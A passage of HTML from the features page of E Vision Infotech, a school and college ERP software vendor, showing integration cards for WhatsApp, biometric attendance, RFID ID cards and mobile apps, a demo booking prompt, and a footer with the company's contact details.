<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Custom Templates </li>
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Bulk Generation </li>
</ul>
</div>
</div>
</div>
</div>
</div>
</section>
<!-- Integration Features -->
<section class="section-reveal" style="padding: 60px 0;">
<div class="container">
<div class="row align-items-center">
<div class="col-lg-6 mb-4 animate-on-scroll fade-in-left">
<h2 style="font-size: 1.75rem; font-weight: 700; color: #1f2937; margin-bottom: 15px;">Seamless Integrations</h2>
<p style="color: #6b7280; margin-bottom: 20px;">Our software integrates with popular platforms for complete solutions</p>
<div class="row">
<div class="col-6 mb-3">
<div class="p-3" style="background: #fff; border-radius: 10px; box-shadow: 0 2px 8px rgba(0,0,0,0.05);">
<i class="fab fa-whatsapp" style="color: #16a34a; font-size: 1.5rem; margin-bottom: 8px;"></i>
<h6 style="font-weight: 600; margin: 0;">WhatsApp</h6>
<p style="font-size: 0.8rem; color: #6b7280; margin: 0;">SMS & Alerts</p>
</div>
</div>
<div class="col-6 mb-3">
<div class="p-3" style="background: #fff; border-radius: 10px; box-shadow: 0 2px 8px rgba(0,0,0,0.05);">
<i class="fas fa-fingerprint" style="color: #2563eb; font-size: 1.5rem; margin-bottom: 8px;"></i>
<h6 style="font-weight: 600; margin: 0;">Biometric</h6>
<p style="font-size: 0.8rem; color: #6b7280; margin: 0;">Attendance</p>
</div>
</div>
<div class="col-6">
<div class="p-3" style="background: #fff; border-radius: 10px; box-shadow: 0 2px 8px rgba(0,0,0,0.05);">
<i class="fas fa-id-card" style="color: #9333ea; font-size: 1.5rem; margin-bottom: 8px;"></i>
<h6 style="font-weight: 600; margin: 0;">Smart ID Cards</h6>
<p style="font-size: 0.8rem; color: #6b7280; margin: 0;">RFID & UHF</p>
</div>
</div>
<div class="col-6">
<div class="p-3" style="background: #fff; border-radius: 10px; box-shadow: 0 2px 8px rgba(0,0,0,0.05);">
<i class="fas fa-mobile-alt" style="color: #ea580c; font-size: 1.5rem; margin-bottom: 8px;"></i>
<h6 style="font-weight: 600; margin: 0;">Mobile Apps</h6>
<p style="font-size: 0.8rem; color: #6b7280; margin: 0;">iOS & Android</p>
</div>
</div>
</div>
</div>
<div class="col-lg-6">
<div class="row">
<div class="col-6 mb-3">
<div style="background: linear-gradient(135deg, #2563eb, #1d4ed8); border-radius: 15px; padding: 25px; text-align: center; color: #fff;">
<i class="fab fa-android" style="font-size: 2rem; margin-bottom: 10px;"></i>
<h5 style="font-weight: 600; margin-bottom: 5px;">Android App</h5>
<p style="font-size: 0.8rem; opacity: 0.8; margin: 0;">Custom Branding</p>
</div>
</div>
<div class="col-6 mb-3">
<div style="background: linear-gradient(135deg, #16a34a, #15803d); border-radius: 15px; padding: 25px; text-align: center; color: #fff;">
<i class="fab fa-apple" style="font-size: 2rem; margin-bottom: 10px;"></i>
<h5 style="font-weight: 600; margin-bottom: 5px;">iOS App</h5>
<p style="font-size: 0.8rem; opacity: 0.8; margin: 0;">App Store (Coming Soon)</p>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
<!-- CTA -->
<section class="section-reveal" style="background: linear-gradient(135deg, #2563eb, #4f46e5); padding: 60px 0;">
<div class="container text-center text-white">
<h2 class="animate-on-scroll fade-in-up" style="font-size: 1.75rem; font-weight: 700; margin-bottom: 15px;">Ready to Explore Our Features?</h2>
<p style="margin-bottom: 25px; opacity: 0.9;">Schedule a demo to see our software in action</p>
<a href="contact-us.php" class="btn btn-light btn-lg">Book a Demo</a>
</div>
</section>
</main>
<footer style="background: #111827; color: #fff; padding: 60px 0 20px;">
<div class="container">
<div class="row">
<div class="col-lg-3 col-md-6 mb-4">
<div class="d-flex align-items-center mb-3">
<img src="assets/images/favicon.png" alt="E Vision Infotech" style="width:36px;height:36px;border-radius:8px;display:flex;align-items:center;justify-content:center;margin-right:8px;flex-shrink:0;object-fit:contain;">
<span class="font-weight-bold" style="font-size: 1.25rem;">E Vision Infotech</span>
</div>
<p style="color: #9ca3af; font-size: 0.9rem;">Smart Campus Management ERP for Schools & Colleges</p>
<div class="d-flex">
<a href="#" target="_blank" style="width:36px;height:36px;background:#374151;border-radius:6px;display:flex;align-items:center;justify-content:center;color:#9ca3af;margin-right:8px;" class="text-white"><i class="fab fa-facebook-f"></i></a>
<a href="https://www.youtube.com/watch?v=lCpQipkNE6Q" target="_blank" style="width:36px;height:36px;background:#374151;border-radius:6px;display:flex;align-items:center;justify-content:center;color:#9ca3af;margin-right:8px;" class="text-white"><i class="fab fa-youtube"></i></a>
<a href="https://wa.me/918050482213" target="_blank" style="width:36px;height:36px;background:#374151;border-radius:6px;display:flex;align-items:center;justify-content:center;color:#9ca3af;" class="text-white"><i class="fab fa-whatsapp"></i></a>
</div>
</div>
<div class="col-lg-3 col-md-6 mb-4">
<h5 style="font-weight: 600; margin-bottom: 15px;">Quick Links</h5>
<ul style="list-style: none; padding: 0; margin: 0;">
<li style="margin-bottom: 8px;"><a href="index.php" style="color: #9ca3af; text-decoration: none;">Home</a></li>
<li style="margin-bottom: 8px;"><a href="about-us.php" style="color: #9ca3af; text-decoration: none;">About Us</a></li>
<li style="margin-bottom: 8px;"><a href="services.php" style="color: #9ca3af; text-decoration: none;">Services</a></li>
<li style="margin-bottom: 8px;"><a href="features.php" style="color: #9ca3af; text-decoration: none;">Features</a></li>
<li style="margin-bottom: 8px;"><a href="contact-us.php" style="color: #9ca3af; text-decoration: none;">Contact</a></li>
</ul>
</div>
<div class="col-lg-3 col-md-6 mb-4">
<h5 style="font-weight: 600; margin-bottom: 15px;">Services</h5>
<ul style="list-style: none; padding: 0; margin: 0;">
<li style="margin-bottom: 8px;"><a href="services.php" style="color: #9ca3af; text-decoration: none;">School ERP Software</a></li>
<li style="margin-bottom: 8px;"><a href="services.php" style="color: #9ca3af; text-decoration: none;">Web Development</a></li>
<li style="margin-bottom: 8px;"><a href="services.php" style="color: #9ca3af; text-decoration: none;">Hosting Services</a></li>
<li style="margin-bottom: 8px;"><a href="services.php" style="color: #9ca3af; text-decoration: none;">Mobile Apps</a></li>
<li style="margin-bottom: 8px;"><a href="services.php" style="color: #9ca3af; text-decoration: none;">24/7 Support</a></li>
</ul>
</div>
<div class="col-lg-3 col-md-6 mb-4">
<h5 style="font-weight: 600; margin-bottom: 15px;">Contact Info</h5>
<ul style="list-style: none; padding: 0; margin: 0; color: #9ca3af;">
<li style="margin-bottom: 10px; display: flex; align-items: center;">
<i class="fas fa-map-marker-alt" style="color: #3b82f6; margin-right: 8px;"></i>
<span>Navanagar, Hubli, Karnataka, India</span>
</li>
<li style="margin-bottom: 10px; display: flex; align-items: center;">
<i class="fas fa-phone" style="color: #3b82f6; margin-right: 8px;"></i>
<a href="tel:+91 8050482213" style="color: #9ca3af; text-decoration: none;">+91 8050482213</a>
</li>
<li style="margin-bottom: 10px; display: flex; align-items: center;">
<i class="fas fa-envelope" style="color: #3b82f6; margin-right: 8px;"></i>
<a href="mailto:e.vision.infotech@gmail.com" style="color: #9ca3af; text-decoration: none;">e.vision.infotech@gmail.com</a>
</li>
<li style="display: flex; align-items: center;">
<i class="fas fa-globe" style="color: #3b82f6; margin-right: 8px;"></i>
<a href="https://www.smsoft.in" target="_blank" style="color: #9ca3af; text-decoration: none;">www.smsoft.in</a>
</li>
</ul>
</div>
</div>
</div>
<div style="border-top: 1px solid #374151; margin-top: 40px; padding-top: 20px;">
<div class="container">
<div class="row">
<div class="col-md-6">
<p style="color: #9ca3af; font-size: 0.875rem; margin: 0;">© 2026 E Vision Infotech. All rights reserved.</p>
</div>
<div class="col-md-6 text-md-right">
<a href="privacy-policy.php" style="color: #9ca3af; font-size: 0.875rem; margin-left: 20px; text-decoration: none;">Privacy Policy</a>
<a href="terms-conditions.php" style="color: #9ca3af; font-size: 0.875rem; margin-left: 20px; text-decoration: none;">Terms & Conditions</a>
</div>
</div>
</div>
</div>
</footer>
<script src="assets/js/main.js"></script>
</body>
</html>